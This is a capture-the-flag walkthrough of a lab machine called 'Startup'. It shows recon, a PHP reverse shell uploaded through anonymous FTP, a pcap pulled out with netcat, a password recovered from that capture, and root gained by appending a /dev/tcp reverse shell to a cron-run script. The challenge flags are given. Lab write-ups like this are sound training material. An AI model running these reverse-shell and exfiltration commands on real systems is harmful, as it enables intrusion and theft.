Startup

Room Info

Name
🔗 Startup
Description
📝 We are Spice Hut, a new startup company that just made it big! We offer a variety of spices and club sandwiches (in case you get hungry), but that is not why you are here. To be truthful, we aren't sure if our developers know what they are doing and our security concerns are rising. We ask that you perform a thorough penetration test and try to own root.
Target IP
🎯 10.10.173.77

Recon

su
echo "10.10.173.77 startup.thm" >> /etc/hosts

# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

Start Reconnaissance

mkdir thm/startup
cd thm/startup
nmap startup.thm
    21/tcp open  ftp
    22/tcp open  ssh
    80/tcp open  http

nmap -sV -sC -Pn -oA startup startup.thm

21/tcp open  ftp  vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.18.65.48
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh  OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9a60b841d2201a401304843612bab94 (RSA)
|   256 ec13258c182036e6ce910e1626eba2be (ECDSA)
|_  256 a2ff2a7281aaa29f55a4dc9223e6b43f (ED25519)
80/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Enumerate Web server directories

gobuster dir -u http://startup.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/files (Status: 301) [Size: 310] [--> http://startup.thm/files/]

Navigate to

http://startup.thm/files/

ftp startup.thm

ls

Exploitation

Get a Reverse shell by uploading a PHP file via FTP and run it through the web page.

cp /usr/share/webshells/php/php-reverse-shell.php .
nano php-reverse-shell.php
# Set $ip & $port
$ip = '10.18.65.48';
$port = 1234;

mv php-reverse-shell.php shell.php

# In the FTP anonymous session
cd ftp
put shell.php

nc -nvlp 1234

Navigate to http://startup.thm/files/ftp/shell.php to get a reverse shell

/usr/bin/script -qc /bin/bash /dev/null

ls
cat recipe.txt

ls -lah /home
	lennie

ls /incidents
	suspicious.pcapng

cp /incidents/suspicious.pcapng /var/www/html/files/smb
# Permissions denied

Transfer suspicious.pcapng using netcat

# Kali
nc -nvlp 5555 > susp.pcap

# Startup box
nc -nv 10.18.65.48 5555 < /incidents/suspicious.pcapng

Analyze the susp.pcap file in Wireshark or use the strings command

strings susp.pcap

Try the string as password for lennie user.

su lennie
# password: c4ntg3t3n0ughsp1c3
# It works

📌 lennie:c4ntg3t3n0ughsp1c3

find / -type f -iname user.txt 2>/dev/null
cat /home/lennie/user.txt

Reveal Flag - user.txt: 🚩

THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

Close the reverse shell and connect via SSH

ssh lennie@startup.thm

Perform some Enumeration with lennie user

ls -lah *
    -rw-r--r-- 1 lennie lennie   38 Nov 12  2020 user.txt
    
    Documents:
    total 20K
    drwxr-xr-x 2 lennie lennie 4.0K Nov 12  2020 .
    drwx------ 5 lennie lennie 4.0K May 15 13:37 ..
    -rw-r--r-- 1 root   root    139 Nov 12  2020 concern.txt
    -rw-r--r-- 1 root   root     47 Nov 12  2020 list.txt
    -rw-r--r-- 1 root   root    101 Nov 12  2020 note.txt
    
    scripts:
    total 16K
    drwxr-xr-x 2 root   root   4.0K Nov 12  2020 .
    drwx------ 5 lennie lennie 4.0K May 15 13:37 ..
    -rwxr-xr-x 1 root   root     77 Nov 12  2020 planner.sh
    -rw-r--r-- 1 root   root      1 May 15 13:38 startup_list.txt

cat scripts/*
cat Documents/*
cat /etc/print.sh
ls -lah /etc/print.sh
	-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh

Privilege Escalation

Since planner.sh will be run as root (with a cron job), and it contains the /etc/print.sh command script, modify /etc/print.sh and input a payload (a reverse shell for example) into it to run it as root.

echo "/bin/bash -i >& /dev/tcp/10.18.65.48/3333 0>&1" >> /etc/print.sh

Wait for the reverse shell on the attacker machine. The root will run the planner.sh script once a minute.

# Kali
nc -nvlp 3333

find / -type f -iname root.txt 2>/dev/null
cat /root/root.txt

Reveal Flag - root.txt: 🚩

THM{f963aaa6a430f210222158ae15c3d76d}

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